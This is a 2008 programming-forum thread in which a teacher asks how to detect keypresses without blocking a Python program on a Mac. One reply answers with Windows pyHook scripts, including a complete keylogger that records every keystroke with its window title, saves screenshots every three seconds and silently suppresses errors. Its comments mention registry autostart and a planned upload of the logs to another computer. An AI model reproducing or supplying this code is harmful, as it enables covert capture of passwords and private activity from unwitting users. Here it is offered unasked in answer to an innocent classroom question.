473,569 Members | 2,412 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Capturing keystrokes during program execution

3 New Member
Is this hard?

I am introducing Python to my students and want to make a simple, interactive program that will, while it's running, 'listen' for any keyboard events. That is, I don't want to include an 'input' statement - that would pause execution till someone answered. I just want it to keep running, say, printing an 'a' on the screen every 10 seconds, until the user types a 'b'. Then printing a 'b' every 10 seconds till the user types in some other character...

It seems that this should not be hard; something with sys.stdin, perhaps. The hours I've spent on it are getting embarrassing.

I've fooled around with it and looked though books and the only solution I've come up with was to import pygame.py and use its event handling. This seems like massive overkill for what should be an easy matter.

I'm using IDLE with MacPython 2.5.1 on Mac OS 10.4.11

Thanks for any help on this problem.

Neal C.
Aug 18 '08 #1
2 6131
Elias Alhanatis
56 New Member
Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....


Expand|Select|Wrap|Line Numbers
  1. import pyHook
  2. import pygame
  3.  
  4. # create a keyboard hook
  5. def OnKeyboardEvent(event):
  6.     print 'MessageName:',event.MessageName
  7.     print 'Message:',event.Message
  8.     print 'Time:',event.Time
  9.     print 'Window:',event.Window
  10.     print 'WindowName:',event.WindowName
  11.     print 'Ascii:', event.Ascii, chr(event.Ascii)
  12.     print 'Key:', event.Key
  13.     print 'KeyID:', event.KeyID
  14.     print 'ScanCode:', event.ScanCode
  15.     print 'Extended:', event.Extended
  16.     print 'Injected:', event.Injected
  17.     print 'Alt', event.Alt
  18.     print 'Transition', event.Transition
  19.     print '---'
  20.     if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
  21.         return False    # block these keys
  22.     else:
  23.         # return True to pass the event to other handlers
  24.         return True
  25.  
  26. # create a hook manager
  27. hm = pyHook.HookManager()
  28. # watch for all keyboard events
  29. hm.KeyDown = OnKeyboardEvent
  30. # set the hook
  31. hm.HookKeyboard()
  32.  
  33. # initialize pygame and start the game loop
  34. pygame.init()
  35.  
  36. while(1):
  37.     pygame.event.pump()

Second script:

Expand|Select|Wrap|Line Numbers
  1. import pyHook
  2. import time
  3. import pythoncom
  4. def OnKeyboardEvent(event):
  5.    print event.Ascii
  6. def main():
  7.    hm = pyHook.HookManager()
  8.    hm.KeyDown = OnKeyboardEvent
  9.    hm.HookKeyboard()
  10.    while True:
  11.      pythoncom.PumpMessages()
  12. if __name__ == '__main__':
  13.     main()
  14.  
script 3
Expand|Select|Wrap|Line Numbers
  1. ## Windows Only Script!!!
  2. ################################################## ##########################
  3. #
  4. ## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
  5. ##
  6. ## Copyright (C) 2008, Jack Trades
  7. ##
  8. ## This program is free software: you can redistribute it and/or modify
  9. ## it under the terms of the GNU General Public License as published by
  10. ## the Free Software Foundation, either version 3 of the License, or
  11. ## (at your option) any later version.
  12. ##
  13. ## This program is distributed in the hope that it will be useful,
  14. ## but WITHOUT ANY WARRANTY; without even the implied warranty of
  15. ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  16. ## GNU General Public License for more details.
  17. ##
  18. ## You should have received a copy of the GNU General Public License
  19. ## along with this program. If not, see <http://www.gnu.org/licenses/>
  20. ##
  21. ## Recent Changes:
  22. ## Added quality setting to grabScreen
  23. ## Wrapped all functions in try/except blocks to silently pass over errors
  24. ##
  25. ## TODO:
  26. ## Write function to send data to secure ftp server in local network
  27. ## Write any errors to a text file
  28. ################################################## ##########################
  29. #
  30. ## Requires: pyHook, win32all, PIL
  31.  
  32. import pyHook
  33. import pythoncom
  34. import ImageGrab
  35. from time import time
  36. from threading import Timer
  37.  
  38.  
  39. ################################################## ##########################
  40. #
  41. ## Start-Up
  42. ################################################## ##########################
  43. #
  44.  
  45. ## The full path is required when started automatically through windows registry
  46. ## Need to find a fix to allow relative paths (this way is UGLY!)
  47. folder = 'C:\\Python25\\'
  48.  
  49. filename = folder+'daata\\'+str(time()) ## Each program start creates a new file
  50. skippedKeys = set( (0,) )
  51.  
  52. def offloadData():
  53.     """Every time the program starts it should offload its log file and
  54.     screenshots to another computer. """
  55.     pass
  56.  
  57.  
  58. ############################################################################
  59. #
  60. ## Keylogger
  61. ############################################################################
  62. #
  63. ## The logger skips over keys defined in the global variable *skippedKeys*
  64.  
  65. def writeData(eventWindow, ascii):
  66.     """Appends each keystroke to file *filename* as defined at the top"""
  67.     try:
  68.         eventTime = time()
  69.         f = open(filename, 'a')
  70.         f.write(str( (ascii, eventTime, eventWindow) )+',')
  71.         f.close()
  72.     except:
  73.         pass
  74.  
  75. def onKeyboardEvent(event):
  76.     """This function is called by pyHook each time a key is pressed.
  77.     It writes the (key,time,window) to the logfile as defined in writeData()
  78.     It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
  79.     try:
  80.         eventWindow, ascii = event.WindowName, event.Ascii
  81.         if ascii not in skippedKeys: ## skippedKeys is a global variable
  82.             ascii = chr(ascii) ## uncomment to store chr(ascii) values
  83.             print ascii ## uncomment to print keys toscreen
  84.             writeData(eventWindow, ascii)
  85.             return True ## passes the event to otherhandlers
  86.     except:
  87.         return True ## ensures that we pass the key along
  88.                     ## even if an error occurs
  89.  
  90.  
  91. ################################################## ##########################
  92. #
  93. ## Screenshots
  94. ################################################## ##########################
  95. #
  96.  
  97. def grabScreen(imageQuality=20):
  98.     """Take a screenshot and save it to the folder screens// with filename
  99.     time()"""
  100.     try:
  101.         img = ImageGrab.grab()
  102.         img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
  103.     except:
  104.         pass
  105.  
  106. def startScreenshots(delay=3):
  107.     """Takes a screenshot every X seconds using grabScreen()"""
  108.     try:
  109.         grabScreen()
  110.         t = Timer(delay, startScreenshots, [delay])
  111.         t.start()
  112.     except:
  113.         pass
  114.  
  115. ################################################## ##########################
  116. #
  117. ## Main
  118. ################################################## ##########################
  119. #
  120.  
  121. def run(delay=3):
  122.     try:
  123. ## Start saving screenshots every X seconds
  124.         startScreenshots(delay)
  125. ## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
  126.         hm = pyHook.HookManager()
  127.         hm.KeyDown = onKeyboardEvent
  128.         hm.HookKeyboard()
  129. ## Pump keys into HookManager | Does this need a try/except ?
  130.         try:
  131.             pythoncom.PumpMessages()
  132.         except:
  133.             pass
  134.     except:
  135.         pass
  136.  
  137. if __name__ == '__main__':
  138.     try:
  139.         run(3) ## Run keylogger with 3 second delay between screenshots
  140.     except:
  141.         pass
Hope those help!!

Elias
Aug 21 '08 #2
npcarp
3 New Member
Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....

. . .

Hope those help!!

Elias
Thanks, anyway, but these all require Windows (pyHook is Windows-only) and I'm on Mac OS X (10.4.11)

Apparently this is harder in Python than I anticipated. That is, there's no built-in Python word that, unlike «input()» or «raw_input()», will look at the input stream from the keyboard to see if there is anything there without interrupting the program execution and 'waiting' till the user hits a Return or Enter key.

Bummer.
Aug 23 '08 #3

Sign in to post your reply or Sign up for a free account.

Similar topics

5
2454
by: Bilal | last post by:
Hi, Is there any way to capture the action Ctrl+N (whether it in a hidden button or keyword - doesn't matter) in html, javascript or php? I appreciate any suggestions. Thank you and kind regards Bils
2
4973
by: Olli Piepponen | last post by:
Hi, I'm having a little problem catching keystrokes under Windows. I did a little research and found that with mscvrt.getch() one can cath a single key that is pressed. However this doesn't work when the program is run on the backround and not as the primary task. What I would like to have is a same sort of function that would also work...
1
2395
by: Manfred Schwab | last post by:
Recording messages and print statements in a textfile during program execution. Is there a similar command to redirect errormessages or print statements into a standart asciifile during programm execution. I would like to echo the complete console output into a textfile and send this file as email at a certain point in time. The programm...
1
2576
by: Pjotr Wedersteers | last post by:
Hi I want to write a small prog/applet that does nothing but the following: Display icons representing the keys pressed on the keyboard in a small "always on top" but transparent window. The keys must always be read - even when the proggy has no focus- but not erased from the keyboard buffer so the active app still catches them. I don't...
1
1502
by: Rob T | last post by:
In the past, I've made several poor attempts at capturing keyboard strokes with JS. Mostly, I would want to hit something like ALT-H or F1 for a help screen.... Hitting the Alt key usually kicks you into the IE menu and doesn't really allow me to trap the keystrokes. So....on our new Exchange 2003 web interface, MS has a great interface...
10
1665
by: CMG | last post by:
There is a program called ShortKey, the basic function of this program is the following: Say you define a shortkey called "MSDN". The program will then, everytime you type MSDN replace MSDN with http://msdn.micosoft.com/. I thought this should not be so hard to make, i was wrong (or at least, i think). My question is, is there a way to...
14
1744
by: @sh | last post by:
Has anyone a function handy that I can apply to various textboxes within a form, each textbox will permit most characters but I want to ban certain characters from each textbox. Therefore I need a function that I can put into the <text area> tag of each box, something like... <text area...
5
2201
by: Luigi | last post by:
Hi to all! I'd like to execute an external program capturing the stdout/stderr messages at "real-time". I mean that I don't want to wait for the end of the process. If I write a code like this: import os import sys class Runner:
3
4983
by: junaidnaseer | last post by:
Is it possible to actually count the number of addition or multiplication operations performed in a program during runtime . I know of a program that does this simply by looking through the code for * and + operators but the problem is that this program is fooled when we use if...else structures coz there might be a + in the if part but the...
0
7703
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main...
0
7618
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language...
0
8138
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that...
0
7983
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the...
0
6287
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then...
0
5223
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert...
1
2117
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
1
1228
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
0
946
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.